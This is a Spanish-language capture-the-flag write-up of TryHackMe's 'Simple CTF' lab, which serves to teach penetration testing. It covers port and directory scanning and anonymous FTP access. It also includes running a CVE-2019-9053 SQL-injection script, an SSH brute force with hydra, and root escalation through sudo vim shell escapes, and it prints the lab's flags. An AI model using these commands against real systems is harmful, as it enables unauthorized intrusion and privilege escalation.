Simple CTF [TryHackMe]

2022-11-08

Seguimos con los writeups de TryHackMe. Hoy le toca el turno a una sala fácil pensada tambien para principiantes llamada Simple CTF. En esta máquina hay que conseguir dos banderas para completarla. Vamos allá.

Enumeración

El primer paso que hay que dar en toda prueba de penetración es el de enumeración. La habitación de TryHackMe nos hace unas primeras preguntas relacionadas con este paso, que son:

  • ¿Cuantos servicios están funcionando en el puerto 1000?
  • ¿Cual es el servicio del puerto más alto?

Para resolver estas dos preguntas, empezamos con un escaneo de puertos usando nmap.

┌──(alberto㉿kali)-[~/Descargas]
└─$ sudo nmap -n -Pn -sC -sV -T4 -open 10.10.91.117
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-15 20:54 CEST
Nmap scan report for 10.10.91.117
Host is up (0.037s latency).
Not shown: 997 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.18.112.125
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 2 disallowed entries 
|_/ /openemr-5_0_1_3 
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 294269149ecad917988c27723acda923 (RSA)
|   256 9bd165075108006198de95ed3ae3811c (ECDSA)
|_  256 12651b61cf4de575fef4e8d46e102af6 (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.36 seconds

Estas son las opciones que uso en nmap:

-n
#Sin resolución de DNS, más rápido

-sC 
#Es equivalente a --script=default 

-sV*
#Detección de versión

-T4  
#Establecer una plantilla de tiempo
#Si tiene una conexión Ethernet o de banda ancha decente, recomendaría usar siempre -T4

Tras el escaneo, podemos contestar a las dos preguntas que nos hace la sala.

Análisis de vulnerabilidades

En esta fase vamos a analizar las vulnerabilidades que puede tener la máquina. Usando los datos recogidos durante la fase de enumeración, podremos comprobar si hay alguna vulnerabilidad conocida que podamos aprovechar.

En este caso hay una mala configuración de seguyridad, parece que han dejado la puerta abierta en el servidor FPT para que se conecten usuarios anónimos:

ftp-anon: Anonymous FTP login allowed (FTP code 230)*

Bien, ahora toca revisar la web que tienen en el puerto 80 con el servidor apache. Voy a usar la herramienta GoBuster para enumerar las posibles páginas y directorios que tenga la web.

┌──(alberto㉿kali)-[~/Descargas]
└─$ gobuster dir -u http://10.10.91.117/ -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.2.0-dev
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.91.117/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.2.0-dev
[+] Timeout:                 10s
===============================================================
2022/10/15 21:09:57 Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 291]
/.htaccess            (Status: 403) [Size: 296]
/.htpasswd            (Status: 403) [Size: 296]
/index.html           (Status: 200) [Size: 11321]
/robots.txt           (Status: 200) [Size: 929]
/server-status        (Status: 403) [Size: 300]
/simple               (Status: 301) [Size: 313] [--> http://10.10.91.117/simple/]
Progress: 4609 / 4615 (99.87%)===============================================================
2022/10/15 21:10:16 Finished
===============================================================

Además, compruebo si tiene el fichero robots.txt, que parece ser que el listado que usado para enumerar las paginas no tenia ese termino guardado.

#
# "$Id: robots.txt 3494 2003-03-19 15:37:44Z mike $"
#
#   This file tells search engines not to index your CUPS server.
#
#   Copyright 1993-2003 by Easy Software Products.
#
#   These coded instructions, statements, and computer programs are the
#   property of Easy Software Products and are protected by Federal
#   copyright law.  Distribution and use rights are outlined in the file
#   "LICENSE.txt" which should have been included with this file.  If this
#   file is missing or damaged please contact Easy Software Products
#   at:
#
#       Attn: CUPS Licensing Information
#       Easy Software Products
#       44141 Airport View Drive, Suite 204
#       Hollywood, Maryland 20636-3111 USA
#
#       Voice: (301) 373-9600
#       EMail: cups-info@cups.org
#         WWW: http://www.cups.org
#

User-agent: *
Disallow: /


Disallow: /openemr-5_0_1_3 
#
# End of "$Id: robots.txt 3494 2003-03-19 15:37:44Z mike $".

Entro en la dirección encontrada y veo que tienen un CMS llamado CMS Made Simple (version 2.2.8).

Hago una busqueda rápida para ver que vulnerabilidades puede tener.

https://www.exploit-db.com/exploits/46635

CVE-2019-9053 es una vulnerabilidad de tipo SQL Injection. En el script que descargo vienen unas intrucciones:

[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist"

Aquí acaba la fase de recopilación de información, en principio…

Explotación

Vamos a aprovecharnos de la mala configuración del servidor FTP para acceder y husmear un poco, por si hubiese algo de utilidad.

┌──(alberto㉿kali)-[~/Descargas]
└─$ ftp 10.10.91.117
Connected to 10.10.91.117.
220 (vsFTPd 3.0.3)
Name (10.10.91.117:alberto): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||47009|)
ftp: Can't connect to `10.10.91.117:47009': Expiró el tiempo de conexión
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Aug 17  2019 pub
226 Directory send OK.
ftp> cd pub
250 Directory successfully changed.
ftp> ls
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp           166 Aug 17  2019 ForMitch.txt
226 Directory send OK.
ftp> get ForMitch.txt
local: ForMitch.txt remote: ForMitch.txt
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for ForMitch.txt (166 bytes).
100% |*****************************************************************************************************************************
********************************************************************|   166        4.52 MiB/s    00:00 ETA
226 Transfer complete.
166 bytes received in 00:00 (4.43 KiB/s)
ftp> exit
221 Goodbye.

┌──(alberto㉿kali)-[~/Descargas]
└─$ cat ForMitch.txt 
Dammit man... you'te the worst dev i've seen. You set the same pass for the system user, and the password is so weak... 
i cracked it in seconds. Gosh... what a mess!

Vale ahora tenemos un usuario vulnerable, mitch, que tiene una contraseña débil. Necesitamos conseguir la contraseña, para ello hay que usar el script de CVE-2019-9053. Lo ejecuto contra la máquina y le paso una wordlist para intentar crackear la contraseña.

└─$ python3 CVE-2019-9053-python3.py -u http://10.10.60.189/simple/ --crack -w /usr/share/wordlists/rockyou.txt

[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: admin@admin.com
[*] Try: 0c01f4468bd75d7a84c7eb73846e8d96$
[*] Now try to crack password
Traceback (most recent call last):
  File "/home/alberto/Descargas/CVE-2019-9053-python3.py", line 184, in <module>
    crack_password()
  File "/home/alberto/Descargas/CVE-2019-9053-python3.py", line 53, in crack_password
    for line in dict.readlines():
  File "/home/alberto/.pyenv/versions/3.10.7/lib/python3.10/codecs.py", line 322, in decode
    (result, consumed) = self._buffer_decode(data, self.errors, final)
UnicodeDecodeError: 'utf-8' codec can't decode byte 0xf1 in position 933: invalid continuation byte

Parece que el script da algun problema al ejecutarlo con Python 3.8, que es el que tengo. Estos son los datos que ha podido obtener de momento:

[+] Username found: mitch
[+] Email found: admin@admin.com
[*] Try: 0c01f4468bd75d7a84c7eb73846e8d96$

Para no perder mas tiempo en arreglar el script para que sea compatible, o buscar la manera de ejecutarlo con python2, voy a hacer un ataque de fuerza bruta contra el servicio ssh usando el usuario que hemos encontrado, ya que la contraseña parece ser muy sencilla. Para hacerlo, voy a usar la herramienta hydra.

┌──(alberto㉿kali)-[~/Descargas]
└─$ hydra -l mitch -P /usr/share/wordlists/rockyou.txt ssh://10.10.60.189:2222     
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-10-16 00:03:20
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://10.10.60.189:2222/
[2222][ssh] host: 10.10.60.189   login: mitch   password: secret
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-10-16 00:03:38

Ya tenemos la contraseña, era muy insegura. Ahora puedo entrar en el equipo por ssh y obtener la primera bandera.

┌──(alberto㉿kali)-[~/Descargas]
└─$ ssh mitch@10.10.60.189 -p 2222
The authenticity of host '[10.10.60.189]:2222 ([10.10.60.189]:2222)' can't be established.
ED25519 key fingerprint is SHA256:iq4f0XcnA5nnPNAufEqOpvTbO8dOJPcHGgmeABEdQ5g.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.60.189]:2222' (ED25519) to the list of known hosts.
mitch@10.10.60.189's password: 
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-58-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

Last login: Mon Aug 19 18:13:41 2019 from 192.168.0.190
$ whoami
mitch
$ ls
user.txt
$ cat us	
cat: us: No such file or directory
$ cat user.txt
G00d j0b, keep up!
$ 

Por último, hay que buscar la manera de escalar privilegios. Una de las formas mas rápidas es buscar algún binario que nos permita usarlo para hacer un bypass a las restricciones de seguridad del sistema. En la página de gtfobins busco el binario del vim, que ya lo he usado antes en otras máquinas, y compruebo que esté instalado en el sistema que estoy atacando.

https://gtfobins.github.io/gtfobins/vim/#sudo

Estos son los métodos que hay para vim:

#Sudo
#If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

sudo vim -c ':!/bin/sh'

#This requires that vim is compiled with Python support. Prepend :py3 for Python 3.
sudo vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

#This requires that vim is compiled with Lua support.
sudo vim -c ':lua os.execute("reset; exec sh")'

Y por suerte, la máquina objetivo lo tiene:

$ type vim
vim is a tracked alias for /usr/bin/vim

Ejecuto el primer método y obtengo acceso al usuario root.

$sudo vim -c ':!/bin/sh'

# whoami
root
# cd root	
# ls
root.txt
# cat root.txt
W3ll d0n3. You made it!
# 

Con este último paso hemos completado la sala. Fácil, sencilla y en cómodos pasos.

(◕‿‿◕) Hack the planet!